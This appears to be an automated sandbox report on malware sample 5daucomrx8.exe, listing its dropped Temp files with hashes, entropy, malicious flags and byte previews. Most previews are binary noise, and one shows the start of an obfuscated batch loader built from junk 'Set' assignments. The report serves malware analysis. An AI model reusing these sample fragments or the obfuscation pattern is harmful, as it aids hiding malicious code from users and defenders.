Preview:	...,.7b..[8{JHz././4...@. <[...2.6...l{.G......6Y2.b.<...V...UV...m..Q[.#?.U.\|..j'..x.l"T...P..Jb..Eq...)w..S[...W3..M......5.0^.......)..E......o.......U..h.aV......s.V......@&W=...Q...[...7.<.]...m...%W......k../.=.....)........4F...`..u.%P8bWnu..gTY..LJ$.<-..P...r..;...2.R..f....i..A.........r%.).].v[.9.u...UO....T~..$.....xC..O.>...<..wY;x~..I.{N.ya..\..S..)]S.0%...h.`g,..[-.h3E3.^<..1.Kp.<....sNq..M..6...)..D./d....(..q44....$SP3........S.Y.Cp.......m..A....Y...h.F....@..h.\|../d.(W.....N...~.!7..0..y..5E..&...!........U....0..Qv....eT.\|.(-.1 ...,..nTbN...M.x...=.%.q..{...}.A.[.F.....". ..6..m..(.@Ja.v....5f....l.S.,.2>....i.."..x..$..~.;.D@D.>ZW..F.?C.F5.......W.. .[..../.(..XM5.r.`=NJ..Y.D...I.0.Pd]o.k.2.F...Y..G/.'.4..(.8. .5.k?1U..T....?Tr......'..Ii.R..T.5...z...T.....3.aF.o.i..PB... .+.]..xUd....T.8....^....K2..4..{...r..%..;=.+lV.)d.{.Xm.i.d...rc.;g..q..=.VI....BP.&zX...g.K..~.{....v$.qca.wPSH-.J......3.cj..i...0<......

C:\Users\user\AppData\Local\Temp\Double

Download File

Process:	C:\Users\user\Desktop\5daucomrx8.exe
File Type:	data
Category:	dropped
Size (bytes):	43008
Entropy (8bit):	6.513834863558758
Encrypted:	false
SSDEEP:	768:c4ypQ9Fsqib9futLZzWaIxyKw7nxZL96Yk4iARefFilP4Bwh1QwTMvcVPDl:9yy9FskzWaIxOv/pAfkF/bIQJ
MD5:	0653D5B9F678E342AC539C35C588F8F8
SHA1:	164512131FF6E3985D44A01804A1FDDDCAF6BFD5
SHA-256:	D49CEB2DB490B316AA89C83CB694758604EFC348445B3F61ACDD5413780466CD
SHA-512:	28B34858973AC560B1FFFC8A0B928A25CD11CF19FE755A3F28F68EDD88C3FEF3C994AF6D5E2DC093D5EDDA1D2669F028086B9B4E94D0502946D8AC2F82EA8CB9
Malicious:	false
Preview:	...i..Q.F9.....I...i..R..j.Q..T.I...i...~8....i..WQ....I..u......i...u...gL...d......hL...i...u...gL..d......hL...j....hL..u........(..R.....hL...j..j.j.j.PWj...D.I..E...u..M.....j..M..E.Qj.PW....I....E..E.jP3.PPj.WP..D.I..E...u..M.j.P.E.P...PW....I..E..M..=<.I...t(Qj.h.....u.....I..~ .t..v ..E..F .M..E...t(Pj.h.....u.....I..~$.t..v$..E..F$.M..E..}.....Ui......#..Ji..j.j..u...X.I..ti....)..............Q.........j..j.^;......................i........j..D$........Ph..............I..D$...........b....Ct......H@..t........f;D$.t..PQ....I.9............Ct...................<.............:.u........t.V...h......:.v.........Ct............ug.......f..x[.......f..xOf;.~JH.D$8....f.......Kt.............D$L.D$8P............P.D$.h=.............I.F;.......1...........L$..t$.;.u.;.....t....D$..............;.~.IQV..........................ah........;.\|,...Ct.......t........u.W...g..O;.}.\|$..L$..T$.3................................7..<.I...@....g...w@....I...g.............g..9E....g..

C:\Users\user\AppData\Local\Temp\Emotions

Download File

Process:	C:\Users\user\Desktop\5daucomrx8.exe
File Type:	ASCII text, with very long lines (1341), with CRLF line terminators
Category:	dropped
Size (bytes):	17805
Entropy (8bit):	5.067129531655874
Encrypted:	false
SSDEEP:	384:c2HgCk/+61O1xLW6KCDR/1eKCRagtGbqadxfpYTk96afqirXNq:rd1xLW6L/IK1gqqad9p3Uafqyq
MD5:	E1B45CCFF8C4F9B3F37B9BE092E5FC81
SHA1:	69E30F418DAD45C89C119DB58E023F90952B3C12
SHA-256:	FB199496184C801EEA454E0534DEC3CE932573892155FD8DD79EFBD4AA734B4B
SHA-512:	C507BD87B190AE0CFCA5A9FBF6C7AEC464165F67DF2BEC5518D8EDF7F26A0014A4E642042EA7A2685DD4D22D5821BD749E8F7A817EF81CBF61C340D982323D2B
Malicious:	false
Preview:	Set Guide= ..bnBundle Device ..dFAiLithuania Movers Convergence Finances ..NpYNMustang Dice Luxembourg Tribe Saudi ..GzSelections Reader Merchants Worcester ..MzjMAf Australia Sheet Employees Communist Airport ..NXRDesigners Humans Schools Lazy Stronger ..HlHey Preserve Deaf Batman Film ..YEdFLlc Hugo Glory Remaining Injuries ..Set Salvador=a..UpCMany Surface Math Elegant Roster Jon Aj ..MwgExtra Spare ..XnrZFilms Espn Algorithm Silence ..eeDiffer ..fgActivists Pressed Costa Segment Headlines Confidential Brings Enabled ..PmCult Hell ..eqTComputed Boats Fashion Dave Spy Recruiting Designed Reality ..XgvYellow Egypt Exception Cell Licensing Choir Attorneys ..UigBPhillips Slow Oriental Hughes Aim ..cnRomania ..Set Point=i..ronFixes Sec Flexible Reputation Chuck Two Biology ..CRQEnhancing Vision Assistance Publicly Ending Babes Holocaust Blade Zinc ..wqgUPartners Powder Centre Bill Thumbs ..lPmSeal Laser ..BXmcLafayette Sculpture Shoot Occupational Reproductive Automotive ..MzJvFavors Jew

C:\Users\user\AppData\Local\Temp\Emotions.cmd

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with very long lines (1341), with CRLF line terminators
Category:	dropped
Size (bytes):	17805
Entropy (8bit):	5.067129531655874
Encrypted:	false
SSDEEP:	384:c2HgCk/+61O1xLW6KCDR/1eKCRagtGbqadxfpYTk96afqirXNq:rd1xLW6L/IK1gqqad9p3Uafqyq
MD5:	E1B45CCFF8C4F9B3F37B9BE092E5FC81
SHA1:	69E30F418DAD45C89C119DB58E023F90952B3C12
SHA-256:	FB199496184C801EEA454E0534DEC3CE932573892155FD8DD79EFBD4AA734B4B
SHA-512:	C507BD87B190AE0CFCA5A9FBF6C7AEC464165F67DF2BEC5518D8EDF7F26A0014A4E642042EA7A2685DD4D22D5821BD749E8F7A817EF81CBF61C340D982323D2B
Malicious:	false
Preview:	Set Guide= ..bnBundle Device ..dFAiLithuania Movers Convergence Finances ..NpYNMustang Dice Luxembourg Tribe Saudi ..GzSelections Reader Merchants Worcester ..MzjMAf Australia Sheet Employees Communist Airport ..NXRDesigners Humans Schools Lazy Stronger ..HlHey Preserve Deaf Batman Film ..YEdFLlc Hugo Glory Remaining Injuries ..Set Salvador=a..UpCMany Surface Math Elegant Roster Jon Aj ..MwgExtra Spare ..XnrZFilms Espn Algorithm Silence ..eeDiffer ..fgActivists Pressed Costa Segment Headlines Confidential Brings Enabled ..PmCult Hell ..eqTComputed Boats Fashion Dave Spy Recruiting Designed Reality ..XgvYellow Egypt Exception Cell Licensing Choir Attorneys ..UigBPhillips Slow Oriental Hughes Aim ..cnRomania ..Set Point=i..ronFixes Sec Flexible Reputation Chuck Two Biology ..CRQEnhancing Vision Assistance Publicly Ending Babes Holocaust Blade Zinc ..wqgUPartners Powder Centre Bill Thumbs ..lPmSeal Laser ..BXmcLafayette Sculpture Shoot Occupational Reproductive Automotive ..MzJvFavors Jew

C:\Users\user\AppData\Local\Temp\Falls

Download File

Process:	C:\Users\user\Desktop\5daucomrx8.exe
File Type:	data
Category:	dropped
Size (bytes):	198656
Entropy (8bit):	7.999173317848576
Encrypted:	true
SSDEEP:	6144:suCQ3s8VJwgcSoNfAXamj3rIKbawOjtFkmwTJ:s2s8V+lN03rI3Gx1
MD5:	84C31C7B0C8D4DF12F022A32DED12AA2
SHA1:	DC5CA7CBAB70171827B0E979CAB55388E5BF6442
SHA-256:	86EA718EECEA2F320F22AA87FE6F11D6DD582D70506F8D53F711324C38227DDB
SHA-512:	B82B3213BBB01EE4587CBB157B2A6974177560789710E6E59FCB652990C5C169D2FE0AF3053D971B6CBD0BB3812E64FFA1CF697F0556D5A4D6E69998ED0A902B
Malicious:	true
Preview:	.Z.Ai....H.b..W.BS.........Q h...>{.a[..J._ZZ{..W..-..(...S6.........'B.......,.s.L...'D.5.`...3.o.U.hl....\|A0.<N\...@..R.>..3.b$....z.........[S.l....%.T.4.D...0.q{.5....o..'.vc.^7....`.f.....k...5A....2..)......Q....$..#;_.`.......8!.0.u\|..99....\T....2.r=.i...$7...=.....b,...fSe..U.;F...~_Qg.<.....iT.......A....JC...`....eH.@]bh..Ms......=.x....Y...H".H......N..(..;&.PU...v...d<..Q....z`1oN(f(.&8..\.....=.y...hi;U._n..n.>.G..xa...(%.uY.(.f.....v..T.K..F&.6-.z{....n...k..0..N..ZtG .=.....}.$~...)...{./...u{.....a..._..h;p.4............f(r....;....He...r.&Q[.9........4h.,..;....i../m.O&.J.t.G..j......y....EC...:......>\....8.O^..t....R.....g..}.1.../.g.H...V.....G...bH.\....of...2w....M\|!.3....}..z..DQNq@..7.d~)=..DCb=.v.I....]K+.r....Th$...._.......}..!.GE'...o.NcNXcV7x...~.....g.+.I.....:.a....?..~M..?...u.iY.W..$.......g..-.E5.......-..W.i..z}%\|@..`wG.....A...$...zL..p.X5h-5.q..p`.U.L){......%...8...l..^F[....k.nZ}.X...n.n...'.!\

C:\Users\user\AppData\Local\Temp\Favourite

Download File

Process:	C:\Users\user\Desktop\5daucomrx8.exe
File Type:	data
Category:	dropped
Size (bytes):	62464
Entropy (8bit):	6.704844761239483
Encrypted:	false
SSDEEP:	1536:PhrNCsGJh5yA05E22VelTXzSj9xb7XDh1RlyxcZqvinN8p:ZlAYrlTGj91DhrlyU8p
MD5:	E9616A6147473B1C11D5997AF70AA41D
SHA1:	26D9932473118C39D788C20DBCD4EDFFCB2E195D
SHA-256:	3AAD09EB2199702AC0845A37A25AEAE969CA90438C97D0556AAD8E1C2489093D
SHA-512:	C985B09EB8D0D0E9404E80F67A670409AE8F4B92F36F6A32F08A8189FC9E34FE7EA3A6AB2C53E47F6054CBACA330324C6A3951522CE98E768F055D13FEC0D3E8
Malicious:	false
Preview:	.........$...FD.......$....&..;~\|...&...~.....&...~.....%....F4;....%...Fh.............s.....%......o....U.;U....$...N\|;........E...uT.V...t.j..F.PQ..............S$...,.V....+.;.w f..f;F4u......3$..f.G.f;F6..%$...E.U....................$...D..............;~\|.......~.........~..........F4;........Fh........................w4t......t....A.......#...2;~\|..]...f.?...S.......K.........t............g#...~l...]#...%.........w<..J#........w...<#.......3#.... ..*#................#........._ ..w/...#..... ........... ....."..../ .....".........0....."............w<............w...}........t..... ..."...f............"...U....._ ..w/..G...... ....n"..... ..../...../ ....V"..........0....E".............w...2"................ ".........( ..........) .....".............w........A.......!..................!...................FD.......!...}.........!...FD.......!...b......wZ.FD.......!...K........r!...FD......e!...0......w(.FD......N!............@!...FD......3!...E.B@.U.P.u....V.u..u..y........

C:\Users\user\AppData\Local\Temp\Fight

Download File

Process:	C:\Users\user\Desktop\5daucomrx8.exe
File Type:	data
Category:	dropped
Size (bytes):	29696
Entropy (8bit):	6.429381666176089
Encrypted:	false
SSDEEP:	768:JFR97T98+sDkXLAlMoLVNIo8DJWxWWbP75qcD:JFTR7bAlHL/4aj5VD
MD5:	35D5F58D663AF5854AF8B15634FADFCF
SHA1:	0D918B8ECA29301C4CD8BE1764F96BF779D6622D
SHA-256:	B87A61A0D630FA8EE70C61BA1E4F38A8ED4EE4B592BC900E826EB5CDB9CA64DD
SHA-512:	0184DD2AEE63324BEE5FF0FBAA4123382B6DE48F88E3E8A7FC63E59066A3D4C4650E68400994D046DB1FD1F691F51212616E7DF4AC51A704F15050B174A6490E
Malicious:	true
Preview:	_....F\|.U.+...;...S...........f..Of.........].U.f;...................S..U....E.;F........N..U....E.D...E.F.+E......E.......E.......E.E.+Fx.......I.........K....E..M.@P.u....V.u....@dJ..u...C................m..... .............6....._^[..]._^3.[..].O.........i...........,dJ.... dJ..E..U.}..u..E.......;....}.]..............t.......M..........}.;U........................E...@..P.u.V.u..u..........}.........}.................d$..U.;U...2....N\|;...~....}..u(.V.....-....u.F.PQ..................U.........%....=......1....E.....F.................E.B@.U.P.u....V.u..u.............~....^.....b............\.A..$.T.A..B.....]..........U..E........ dJ..M....,dJ..E..M..................E........$.....E.......M.;F\|...........%....=.....................................M..........}.........E...}.@P.u...V.u..u.........................$........C.f.<Cw..Ct.]..I....E.....M.@P.u...V.u..u.............>....-i.........M..E......E.E.@P.u....V.u....@dJ..u...C.......... ............

C:\Users\user\AppData\Local\Temp\Fighting

Download File

Process:	C:\Users\user\Desktop\5daucomrx8.exe
File Type:	data
Category:	dropped
Size (bytes):	147456
Entropy (8bit):	7.998923137857825
Encrypted:	true
SSDEEP:	3072:HlYKLVe9n25kVLIV1GWWKnqX+xhURTwcXCIDv4D7vZsSx4EDpbdE6:HlYgUVIV1GhoEoKFwcSIDve7RsSCEDpB
MD5:	6876D6C44BAD4FBFC21325B46B63484C
SHA1:	9A37D6D6D4E7178A6FD840DB172184BDFF67B15F
SHA-256:	3A97464DF93B328E7F78CD32C3734B67B41F3808B8C645846EEFC30CCCADDB7E
SHA-512:	10D4634A6226320C85A5519C798258B6F0A27646817309549C624FFD44F82BE04413F8BC87E6935272852FA8EA695FE92668B59A7E223259525259A0393D4E51
Malicious:	true
Preview:	..F... ..$z2!...sU.![..Z...0.@R...}<..1...1..Z\|.fI.%...-.>...+.."N.d.=.(\.8\E.@..\R"+S..g!.g.../.l4...],..e_...Vb...B.7T.e9@%.E....w+?0$v#D..$...1..#...h4P.x+....c..C.MI.....>.........E]..b...S.......M...M..h]......"..6:....7=.Kq..E/w<..f9 GS..[/.uC.e....N&..A.4.:......r....a..-.wvv....s.._.....k..v.].7Z.@Z.S.:.I+..f4K......(.e=.7.....5..\|O@.^....z)...A.pS..-....x..Ne.1...w...1.'N...5.&....pf^3[.....\.c..o.....D..(..P..o.4..o...-q..~{...V0.{.xW..e..M..a......yrf.....w.r......i.......9X.3.E...g<y..%..S.`....h...Y_.....3...t1...\.cf.O..J.`...y..#.Q..wJ.~`.40a.D{Q...=Q..f%......&...._.k...?.a?.W....J..g..vDx..l......%.R.C..... .N1.{..c.G....].c..<..[.+_..Nib&....e~1.\~.RN......%.......t.y....N.. . .....H.-t?.(MgnW9.A......S......g...L........~Rq....6..]...s. .iB.?.`%......#?...5.Ah@.$...}..m.r3...Gm.f2;f..1...._.6)....d. ..~..em.;..r.....o....U..5.R..M."u...I....B5d..u........\."..s..... ....w...7....z..'.S+...p;A9.&..Bt...9U..v.l]Wo.a.X.S

C:\Users\user\AppData\Local\Temp\Genre

Download File

Process:	C:\Users\user\Desktop\5daucomrx8.exe
File Type:	data
Category:	dropped
Size (bytes):	5120
Entropy (8bit):	6.193659885817098
Encrypted:	false
SSDEEP:	96:Y63b/WPJonc1yGu8B3E8CoCMS2d/Xcyetj3sTSo59X5OqsW:N3LWMch9B0ze/syedEXAqH
MD5:	D41AD902B6AEEABC9DF8D5EB457D56FF
SHA1:	E65E181C4957CC6536AF3918CFAB9C4790DD9DB9
SHA-256:	DA4B25CB663E611C0F10233467FD9BF43A528CACE938DF16C04D4DDECB19F916
SHA-512:	08596C48EF2253D0A1E81A2EAD4D575CAA6B1A76570BA733FB88AEF0768BC9F6120CB25047C68CCA431A05457C78FE8EF58FF75BE49EF28BB54392687E1D2A9B
Malicious:	false
Preview:	^3.[..]...U..SV.u.WV....}..3..CS.\|......Um...F..p....8\........j..v..5.......Cm.._^3.[]...U..Q...SVW.13.N.M.x@..>.+....S..o...0.u..`E..YY..x.~..{..M.;.~.;....._^[..]....s.......U..VW.....O..@........u........F.P.`...F.P...........F(.............F,.......v0.S....F4..,..........F8P...........FH..<....FL..@....FP..H...t..FT........Q........<..._^]...U...8VWjX.......Y.......................N.........P.._........P.N..(.........N8.F(.......F,.........F0.......F4..,...P..)....<....M.FH..@....FL..H....FP.......FT."...P...O..@....q....M...Z...M...Z.._..^..].3..J...U..QS3.V.u....P.H....<....t.I...dL..@...f9X.u..8!t...t.^3.[Y].......U...hSVW.M.....3..E..I..E.M..E....E.E.E.E..}...H.E..}....]..u.jHY.S....E..........@.f;........E.@....E..f.....j.......f.x.3...j...0.M..(...E.3...t".u.....U..Q....u.G;.r.u..]..E.;....j...E.P.M..xX.......S....f.x.AuH.}..uB.A.3.........@.f..G..G...jH[f;.]...0...f;E.......f;E.......G...}...........E..@.E.....@.f;E.......AjH_.....f9x..}..

C:\Users\user\AppData\Local\Temp\Hay

Download File

Process:	C:\Users\user\Desktop\5daucomrx8.exe
File Type:	data
Category:	dropped
Size (bytes):	64512
Entropy (8bit):	6.549624693115074
Encrypted:	false
SSDEEP:	1536:TkdIlDbKffUCJ5h3FsoejQ1/9klkp5VLGW:TkuVKfPf3qoT1/Qkp5IW
MD5:	A353180038BC0C56585D8B18BCD2D039
SHA1:	0DCDF81CB067BACFF96E58423198B9D53A68AC4D
SHA-256:	3BC8119C6931103ABD71E920A57AB160331201005BD379236240C499E6811D1E
SHA-512:	E036630A140587DF95FCD97A654D3C4E68A6316C5457DD1342170409AC41DFC26E6EB9614A2E3192669E6BF9A50A1C203BE25A53A3054162D1D0BB64CB1D84A3
Malicious:	false
Preview:	L$<.D$..g.....D$...................;........D$8P.L$...&..h..K..L$...'...D$..L$x+.N@VP.D$@P.>#...D$xP.L$..&.....K..L$.V.'..Vj..?T..YY....S...V.L$..'..3.F9t$.v&V.L$..$..f.8\|u.V.L$..$..3.f..F;t$.r.}..r..G..H.....D$$h.....k...YP.L$..Q...}..r5.G..p....n[...F..t$..0V.D=..YY....j.j..H....,}........t$.3.f..jX..$....j.P.5=...D$0....}....$.....D$...$.....D$4..$.....D$(..$..........$....X....$..........$.....$......I........G..H..]......u.G..H..]....xf.G..H..]....t.....G..H..~]....t.... ...G..H..i]....t........G..H..T]....t........G..H..?]....t........}....$......$....P..........I...........$.................':..Y..$.....L$\....&....$.......3..2P..:...L$\..$..K....%....$.....L$\.%....$.........p..$....f9.u..M..D$XP.[...L$X..)...,....I...t...$.....M...[....3.P..j..H....={...D$...u.P....Y.t$.....Y.D$0..u.P....Y.t$,....Y.L$8.(...L$..(...L$h.(...L$H.(...L$x.\|(.._^3.[..]...U...\...SVW.=..I.......P.u..M.2.......tq......h..I.P..B..YY..tH......h..K.P..B..YY..t1......P....I...

C:\Users\user\AppData\Local\Temp\Instance

Download File

Process:	C:\Users\user\Desktop\5daucomrx8.exe
File Type:	data
Category:	dropped
Size (bytes):	34816
Entropy (8bit):	6.665252092241425
Encrypted:	false
SSDEEP:	768:5IDJ0vLyktlgwYtfKUGabl8UvrcyzJsDXtk:5sJitgXKUvl8UTcyzJWu
MD5:	59391B69D439FC7599CCB7D333193250
SHA1:	497BE4625681164C552963A2F02CDF18CF30EDC0
SHA-256:	DB29B88D44504EA00B87EE4F177BB7837B17022AA82805F72FFAB6A9F4929717
SHA-512:	E386B1A96734534A949988574F8BC2D957529E52EF61BD938142E9663C97DFC0A5CF22FF27B817BAC75A386E360A7CEDF5CCC877CD1BFCF006A25F22AF634619
Malicious:	false
Preview:	t....N@..t.Q....f@..N(.FL......G..V.:..Y_..^...U..E...$P..P.I.]...U.........SVW....$.....\|$\.G(..$.....G,..$.....G0..$.....G4..$.......E.P.B...E..L$`..$.....@..D$...D...O<.D$`P..}.....L$`.t$<.%G..3........8^ ..g....O<.F..\$D.......v...Y...T$.......D$...j..L$ ...D$d..I..\$h.\$l.\$p^.\$(.\$0.D$4.....D$x.,I..\$\|..$......$.....D$L..I..D$ .D$P.\$T.\$X.D$tG....D$@H....D$H@....D$<;H.\|.;........\$.;H........L$..A..D$$...f9X.uO.I..L$..D..f.x.3t...D$......;...(....L$.....8$u..D$.....8........D$$F...f9X.t..D$$F...f.x.Au3.\|$$..F.....@.f;D$tu.A..f;D$@u.Ix...f;D$Hu..u.\|$\9T$D}..E..L$.........L$(P.g......L$(.v...\$(.D$4.....D$.P.L$\|....D$(P.L$d.....L$D.l$..A.T$.F.L$D......p..a...D$<j.^.D$......x....B....D$d.D$ .L$..\$..I..L$.......8$t..8.u.......D$.F...f9X.t.3..........G.\$......@.f;D$tu.A.~f;D$@ulIyt.D$Dj..\|$(.\|$`[9D$.~h.O<.F..D$..D$$..P.D$,P.D$ P.t$..{...........D$..L$L.@.....0.Kt...D$.j......P.D$0P.8f;D$Hu...t.G....h....D$..L$L....0..t...D$.j......P.D$(.0.D$..@.....0..a...D$$.T$

C:\Users\user\AppData\Local\Temp\Joke

Download File

Process:	C:\Users\user\Desktop\5daucomrx8.exe
File Type:	data
Category:	dropped
Size (bytes):	129024
Entropy (8bit):	7.998834022130344
Encrypted:	true
SSDEEP:	3072:ID7ENq/W4iLe+KHHdF4aUDTTbxD26RIp5yYY8a2/Fvn9PuiojJe:IDkq/W4iLcHHUaUDTvB22i5yY82LPt/
MD5:	39B3BEE454F0BF8C20FA9D852BF08493
SHA1:	811D50772A534D58584DC59E186CD234FF7CEEAF
SHA-256:	895AF83CCDD17BBF71E3491C2E1580DA75735A69698A586762552066C4D5BE4D
SHA-512:	78AC7BB6EF711D04BBDB4E60EBA41F0F4655BA13DD8720A354853DD66D4F12A6FEC32093A491D0380C2279C4ACFFF3A482F8961F8F0DBC201C630B9F11699AB9
Malicious:	true
Preview:	.L....?..R3...^f..g+1.....\p..tFN?.{..Bx...Btz......,.L..s..~...T:R?}F.T9..#..i....ph.-N..C......3.I..$J...A. 6.%.......H..8n.D...y.u...~..4....m.....U.."1..Xg[.sQ<..7.l..-J!..X3'..o.]...D....v.]......\.T}.n~...rq.Sy...m.}D.I`.<.'......?.e.......V..........y@.P...@.%..LQV...Q;4.....5....jX/V.c.....zh...r.J.L=~Q)a..P.h`....yXp`."Tsl...=..k.c..!.Y1.....575.t.R.i....(......vV..7....a...^$2.>.../.z...y........B\.......q.1pV^.R:_KO4.Ib.."......n-tv.A..E......m{Q.#.K.%)...n0T.J..G..W.Y..g.T.V(...b..]8..G.....u.UZ...kA.......%......62e...7C...+...'.Sy....5-\.n.y. ...?......6GN. P....o...2M.Z.`em.........{n..7V.....q.5..@\`.WZ.',I@.W..*.......gV..y.....^a. .....o.?x.b..r.o..G.K. .U!..8."jR,...+..S.8....!.....[...].#.......+.)./&.......C.{.,.3..h...g._Y.N.K.Y&.+..y..k...h....r.>n..c....B.5g....m\Ff.O.=Z......u<.....n....,Q...S...6..a...[..Fb.V.HD...\x&..qt""X#....>.......x...,.._=K..R.96..B:.W.KZdu}YN>.6.6_....g.[^.B...U...-..;..k.N..!b...F9....$.L

C:\Users\user\AppData\Local\Temp\June

Download File

Process:	C:\Users\user\Desktop\5daucomrx8.exe
File Type:	data
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	7.9982963129133156
Encrypted:	true
SSDEEP:	1536:sen7o747R/unr+gsSac1Sr9lVKz3i1Pq3wkpR45Vv58BpYviyP5TlxqkuQ37V5Ek:P7c4V/O+g0c1mv6y1Pq3rb4fiBGjBukh
MD5:	77B0DEDD52B512CEA8C5CFC3E03125C0
SHA1:	E73DF32202E72E667994BA0E16D730F452B446D2
SHA-256:	598AF1825F5038A77F75014D31A737C61A3577B8AA7C2CE0AD26487C504A3D75
SHA-512:	0FE49732697F300A8CA84517BBC2D7C043263111F26A392880EAF8114CBBE33F8045B5297943E89577CB65C7609D4BE5A0BEA318C049678F7E0E3F3EE598261A
Malicious:	true
Preview:	.D.....:...]...3#:.E....5'd.j`............pbH........a..J..7...9.B....\.Z....W#..n.)Hz5\.ZG..r.`...M....&.....S."]..s.I.1;....`?..Y%.......]I...Z..F.Z%...IB #.a.F<.m.Q...#.2.T.0m..,......F.......r...-........~....k../9.. .F .x.......~..{....^...Q{.G.D.M.$.......5qj...L.k.BW.....?..s...xC..6..P..c.7...UC..<\..)@(Q.5.n\,.i+.....7.H.._...@.lZ..Q..y.-...w..x..+..\|..1.J\.%6....E..._./.W,..2T.........!.......{wt.+......s.....4...F.bU...k..=2N.\...&.zJ@4.l...y.....xR.^J......f.&..W..8..Ka...[c.....gu.....p..W....#u..e...}...:u.@...x(r....k...7.....@...3.E.^D...&g.!.%.......9.See.../S.b...PXRO.XK.G.m.p(..W.e....6.n@I...W.j;...!l'....A....8..+v......7{_.Y.'V..\|...6.B.<...7J.vX9n..r^.S.q..u....g...."r.{.,cMtY...".).\|..~).@...-.....3-~.....N..@G..Q.BS.}...U.....K.5.].,.o..9,..%.3..m..t.t...\|=.nR_@A\..!@...\|.K.r.flD.......F...5S.8..\|ml....H.p.6.<.5........\...L.h......Z...(.7...&YDKqs..T.V....[..u.].w'..@.\..gV...9...(.....Q.8p>.\..4e.S.....=..'...

C:\Users\user\AppData\Local\Temp\Kde

Download File

Process:	C:\Users\user\Desktop\5daucomrx8.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	7.166072462000539
Encrypted:	false
SSDEEP:	384:5kXDylnffltltZZzz11ppz9KvLoXM4INduLbbOxiVnoXM4INduLbbOxidDQxq:5dK8M4INduPbOUGM4INduPbOU+q
MD5:	567BA9CE87CE234A38F42A10967EB55E
SHA1:	8730552D2CB7357B49279B25B34D4EBBF8834184
SHA-256:	DFB3AEB55AF835CBEA30F3595E2845236B45305F73C7CE06A9B8E9E53329EC45
SHA-512:	BC7579FD1827127791F7FBDA3C71E46638D58D2F4E6EC0F9B20B64598EB7363CA9632289364FB3D6E56DE2670A440E1E1550638C61149884D30AFACB1B82414A
Malicious:	false
Preview:	.cC<-.a`.N..y.....n<.<........z..v<'6.....(...<.,.v..........<.O.V+4.......5.<.'.6Go...T...c.<)TH.....5.d+.2.<H!..o........<.U:.~$....s...<$"U.8b..qU..M..<.;.f.....G..+.<..e<......o . .<s_..u......."a.<.gBV._.....F.D.<...s....Ul...e<bN.6.....g.....<..L..%.........<.D..h....../..<.*B...D_.Y..{<6w......<(...`.<...77...b. ..<ON..}..'.+..q<.........X4m.<d.]{f.......\|'.<\%>..U...Zsn.i.<..yUk....3.w..<..Z.......-.f$.<..O..3.........<F^..v....._...t<..K........0.ns<.R......Y....<K.W..g..h..l,kg<i... ......6.p.<{..J-.....=...t<.....X......PZ.<.2.......J.s..<^.{3.....:`..t<.?...P..&I..'o.<........ .A..<'Za.......1.d.<@En[vP....M;.w<..............?.........9..B..@...2b....................................0<..0<.dW..dW................................@.......................................B.......B.................8..B..?0g.W..=.......................................?.......?......................0C......0C................................U....I.?.. ....u}.M.U..UUU

C:\Users\user\AppData\Local\Temp\Lcd

Download File

Process:	C:\Users\user\Desktop\5daucomrx8.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	6.604564417541617
Encrypted:	false
SSDEEP:	384:hPti51O51Yd5XMSArl8OezLN1ENX6QGuYsUhLgdcgT2k9B:Rtw1E1Yd5dArqsfGuYJhLgBF9B
MD5:	8CDD220B6EDD5261639FF15FB19FF044
SHA1:	A76846914B9AF25DA85DFD57A09C0C18406B5EF5
SHA-256:	95E71E48E27559C30A9DD0C333A69C22F8C13BF512A459BDC7A44D045F30C5DF
SHA-512:	16799000C537303EB7F6F99FB2F649680C4792810AA18FA6E3C0C9B450B2457B7754D5C187D65F08AC19426CBA3F6D4F66E9D2ECF03804BBB890A6A9E41F929B
Malicious:	false
Preview:	YY_^..].....=.QL.............\$..D$.%....=....u..<$f..$f...f....d$.uZ......=.QL..t2.....\$..D$.%....=....u..<$f..$f...f....d$.u............$.T$..D$..........T$......P..<$f.<$..t..D..........T$..............Y.....................L$.....S............u....=.IL....y.......K..........=.IL....\.......K.......N...Z.T$......D$..u.A.3..........D$..u.........3...3.%.....D$.u.T$.....D$...%..........=....u..T$.u...u...t..Q.....$.\$...q.........Y.a.....t..............B....D$.%.....D$.........D$.%.....D$.t=.f....l$.....D$.....t..-..I...t.................Q......J........A.........................-..I.....................u.....K............u.......U..QQ.E.P..t.I..M..E......j.h.....!Nb.PQ.X......\|...=.o@.v......M...t....Q...].U..j@.u..u.........].j.h..K..6..3.M.3..}........u..8.........';..3.....3..]........t.3.f9......t..3......u...u..e8..........3..E.f9.u .N8........j..E.PhP.K..........V.u.SW...........}..E.............*6...u..}.V.U...Y.U..V.u.W.....u...7.........m:.....

C:\Users\user\AppData\Local\Temp\Mask

Download File

Process:	C:\Users\user\Desktop\5daucomrx8.exe
File Type:	data
Category:	dropped
Size (bytes):	27648
Entropy (8bit):	7.99382891468895
Encrypted:	true
SSDEEP:	768:g3mH77WgmVWcQ8KysW5AS3jVjGSSRC+LT+:8KKPWcQM5AqjVj+ZT+
MD5:	EE95191B367041AB62585FE75D565559
SHA1:	6BC56BE81FB1B29A0E38D9DF2D3854F36704739C
SHA-256:	2D57FB7B3B3BF691627260F165754B5C7BC296B233197BC092BEBEDD10199198
SHA-512:	567580B9780C00CCCE14DBC13D14169EF8AB8BA5EF98AE9E9577D37568AC4E81BD25A3D9C43DED217B323B6842000D8550ECF1008B64B16F30DF95DFCC1081A4
Malicious:	true
Preview:	.W.<.9....%.......q&Cz..h.S...[>A...}w.W..,...L.Y..d.../m......0.I.l..~....Y,...Q...>.k..+.......vFo)YM@Ou..+C..zXdrP.....].x.9.D....b..iZY....W6RIj.2p1.\....[,.E(./.(...0.:....F..A.N.......s?......6...A....O.d..5u..Q1<.e...w.VSi..."FKv3.V.{t<....b.${.~.P...M......./B.^M..h...LY.Q.5.....0.......T.s.;..J../...>i.z#~.IL..@g."..~.0-6....#..#.{.h../.....Wr7q...c..=\.P....s..J,j...<,..eQ.Z...Q.O.:42.)'<......0...j.u....ULL...8..).h........8-...v\.......!:.M..+....iX.7.......d...:d..h..."w.......s....?....&...9.A.......'PE..v..V.1X..onK_uH.c...&=.I.O..=9.mlUR4...S.b..i........Y.G..H...K....H../gs..>..&p.E.%.C.X.....a_v`2>.>..N.........!.......=....[V#.=..j.2...k#.o..O..]..x.......p..y.9.....ml......V.....4c?......B...dX4._.+Y...]....Y...s.^.9.ID..wrK+g..k.-.A...>..qq.U.:.G...4.F...\bO.m.7.......M.C.\.[YV.`.~..\B.v./.@....f..Ibdj.<.(J.l\|mP.m..$